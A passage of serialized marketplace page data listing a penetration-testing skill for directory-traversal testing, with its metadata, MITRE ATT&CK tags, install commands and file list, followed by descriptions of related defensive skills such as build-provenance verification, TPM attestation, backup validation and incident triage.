required\n```\n",{"name":5,"tags":57,"author":59,"domain":51,"license":15,"version":60,"nist_csf":61,"subdomain":44,"description":7,"mitre_attack":66},[58,47,37,36,45,41],"penetration-testing","mahipal","1.0",[62,63,64,65],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[67,68,69,70],"T1190","T1059.007","T1505.003","T1083","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-directory-traversal-testing",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":82,"prompt":92,"zipAvailable":93},[83,86,89],{"tool":84,"command":85},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-directory-traversal-testing",{"tool":87,"command":88},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-directory-traversal-testing",{"tool":90,"command":91},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-directory-traversal-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-directory-traversal-testing\u002FSKILL.md",true,[95,100,106],{"path":96,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-directory-traversal-testing\u002FLICENSE",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"references\u002Fapi-reference.md","REFERENCE","参考文档",2138,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-directory-traversal-testing\u002Freferences\u002Fapi-reference.md",{"path":107,"resourceType":108,"resourceTypeDesc":109,"sizeBytes":110,"sourceHtmlUrl":111},"scripts\u002Fagent.py","SCRIPT","脚本",8876,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-directory-traversal-testing\u002Fscripts\u002Fagent.py",[113,137,161,186,212,239],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":120,"publishedAt":52},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[119],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[121,122,123,124,43,51,125,126,50,49,127,128,129,130,131,132,133,134,135,136],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":138,"name":139,"nameZh":6,"description":140,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":141,"categories":142,"keywords":144,"publishedAt":52},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[143],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[145,133,146,147,43,148,51,50,149,150,151,152,153,154,155,156,157,158,159,160],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":162,"name":163,"nameZh":6,"description":164,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":165,"categories":166,"keywords":169,"publishedAt":52},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[167,168],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[155,170,171,172,34,51,173,174,149,175,176,177,178,179,180,181,182,183,184,185],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":193,"publishedAt":52},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[192],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[194,195,196,51,197,198,199,200,201,202,203,204,205,206,207,208,152,209,210,211],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":213,"name":214,"nameZh":6,"description":215,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":216,"categories":217,"keywords":219,"publishedAt":52},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[218],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[220,221,222,51,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":240,"name":241,"nameZh":6,"description":242,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":243,"categories":244,"keywords":246,"publishedAt":52},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[245],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[43,247,51,248,48,249,250,251,252,253,254,181,35,182,255,256,257,258,259,260],"triaging security incident","siem","ioc","soc","NIST-800-61","NIST","severity","edr","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]